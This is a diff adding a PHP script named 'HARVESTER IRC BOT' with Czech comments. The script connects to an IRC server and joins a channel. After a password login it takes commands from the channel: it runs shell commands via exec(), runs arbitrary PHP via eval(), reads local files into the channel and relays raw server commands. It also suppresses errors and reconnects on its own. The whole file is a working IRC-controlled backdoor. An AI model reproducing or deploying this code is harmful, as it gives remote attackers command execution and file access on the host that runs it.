--- /dev/null
+<?php\r
+//HARVESTER IRC BOT\r
+\r
+//Settings:\r
+$server = "irc.2600.net";\r
+$port = "6667";\r
+$channel = "#harviez";\r
+$nick = ("hircz".time());\r
+$pass = "omnibus";\r
+$loged = FALSE;\r
+echo("-NICK: $nick\n"); \r
+error_reporting(0);\r
+error_reporting(E_ERROR);\r
+\r
+//Functions:\r
+function irc_connect( $fp, $nick, $channel, $joinwait ) {\r
+ fwrite($fp, "USER USER $nick # # :$nick\n");\r
+ fwrite($fp, "NICK $nick\n");\r
+ //sleep($joinwait);\r
+ fwrite($fp, "JOIN $channel\n");\r
+}\r
+\r
+function irc_say( $fp, $msg, $nick, $rcpto ) {\r
+ //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");\r
+ fwrite($fp, ": PRIVMSG $rcpto :$msg\n");\r
+}\r
+\r
+//Code:\r
+//Init:\r
+$jokes = file($jokefile);\r
+$spam = "";\r
+$rfile = "";\r
+\r
+while(1) { //Auto reconnect\r
+\r
+fclose($sfp);\r
+$sfp = "";\r
+$sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);\r
+irc_connect( $sfp, $nick, $channel, 0 );\r
+$home_channel = $channel;\r
+\r
+while(!fwrite($sfp, "")) {\r
+\r
+ fwrite($sfp, "JOIN $channel\n");\r
+\r
+ //ReadLine from IRC Server\r
+ $line = (fgets($sfp));\r
+ $words = (explode(" ", $line));\r
+ $commands = (explode(":", $line));\r
+ echo($line);\r
+ \r
+ while(!fwrite($sfp, "") && !$loged) {/////////////////////////////////\r
+ fwrite($sfp, "JOIN $channel\n");\r
+ $line = (fgets($sfp));\r
+ $words = (explode(" ", $line));\r
+ $commands = (explode(":", $line));\r
+ echo($line);\r
+ if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+ { $loged = FALSE; echo("-UNLOGED\n"); }\r
+ if (trim($commands[2]) == "hlogin" && trim($commands[3]) == $pass)\r
+ { $loged = TRUE; echo("-LOGED\n"); }\r
+ \r
+ \r
+ //IRC Sever PING/PONG Response\r
+ if ($words[0] == "PING") {\r
+ fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+ echo("-PONG ".trim($words[1])."\n");\r
+ }\r
+ }////////////////////////////////////////////////////////\r
+ \r
+ //Logout\r
+ if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r
+ { $loged = FALSE; echo("-UNLOGED\n"); }\r
+ \r
+ //IRC Sever PING/PONG Response\r
+ if ($words[0] == "PING") {\r
+ fwrite($sfp, "PONG ".trim($words[1])."\n");\r
+ echo("-PONG ".trim($words[1])."\n");\r
+ }\r
+ \r
+ //hplay:file - Prehraje soubor\r
+ if ( trim($commands[2]) == "hplay") {\r
+ if ( is_file( trim($commands[3]) ) ) {\r
+ $rfile = fopen( trim($commands[3]), "r");\r
+ }\r
+ else\r
+ {\r
+ fclose($rfile);\r
+ $rfile = "";\r
+ }\r
+ echo("-FILE: ".trim($commands[3])."\n");\r
+ }\r
+ \r
+ if ( $rfile != "" ) {\r
+ irc_say( $sfp, fgetss($rfile), $nick, $channel );\r
+ }\r
+ \r
+ //hhelp - vypise tuto napovedu\r
+ if ( trim($commands[2]) == "hhelp") {\r
+ irc_say( $sfp, "Run out of here man!!!", $nick, $channel );\r
+ echo("-HELPED"."\n");\r
+ }\r
+ \r
+ //hsay:Message - Posle zpravu\r
+ if ( trim($commands[2]) == "hsay") {\r
+ irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+ echo("-SAID: ".trim($commands[3])."\n");\r
+ }\r
+ \r
+ //hdo:Command - Posle serveru prikaz\r
+ if ( trim($commands[2]) == "hdo") {\r
+ $hdo = explode("hdo:", $line);\r
+ fwrite( $sfp, trim($hdo[1])."\n" );\r
+ echo("-DONE: ".trim($hdo[1])."\n");\r
+ }\r
+ \r
+ //hcmd:Command - Spusti prikaz\r
+ if ( trim($commands[2]) == "hcmd") {\r
+ exec(trim($commands[3]));\r
+ irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+ echo("-CMD: ".trim($commands[3])."\n");\r
+ }\r
+ \r
+ //heval:Command - Spusti php prikaz\r
+ if ( trim($commands[2]) == "heval") {\r
+ eval(trim($commands[3]));\r
+ irc_say( $sfp, trim($commands[3]), $nick, $channel );\r
+ echo("-EVALCMD: ".trim($commands[3])."\n");\r
+ }\r
+ \r
+ //hpart:Channel - Odpoji se z kanalu\r
+ if ( trim($commands[2]) == "hpart") {\r
+ $hdo = explode("hpart:", $line);\r
+ if ( trim($hdo[1]) != trim($home_channel) ) {\r
+ fwrite( $sfp, "PART :".trim($hdo[1])."\n" );\r
+ echo("-PARTED: ".trim($hdo[1])."\n");\r
+ }\r
+ }\r
+\r
+ //hmove:Channel - Zmeni aktivni kanal\r
+ if ( trim($commands[2]) == "hmove") {\r
+ $hdo = explode("hmove:", $line);\r
+ if ( trim($hdo[1]) != trim($home_channel) ) {\r
+ $home_channel = trim($hdo[1]);\r
+ fwrite($sfp, "JOIN $home_channel\n");\r
+ irc_say( $sfp, "Hi, im here...", $nick, $home_channel );\r
+ echo("-ACTIVATED: ".trim($hdo[1])."\n");\r
+ }\r
+ }\r
+\r
+ //htime - udaje o casu\r
+ if ( trim($commands[2]) == "htime") {\r
+ $msg = implode("-", getdate(time()));\r
+ irc_say( $sfp, trim($msg), $nick, $channel );\r
+ echo("-TIMED"."\n");\r
+ }\r
+ \r
+}\r
+echo("-Connection lost.\n-Reconnecting\n");\r
+}\r
+\r
+?>\r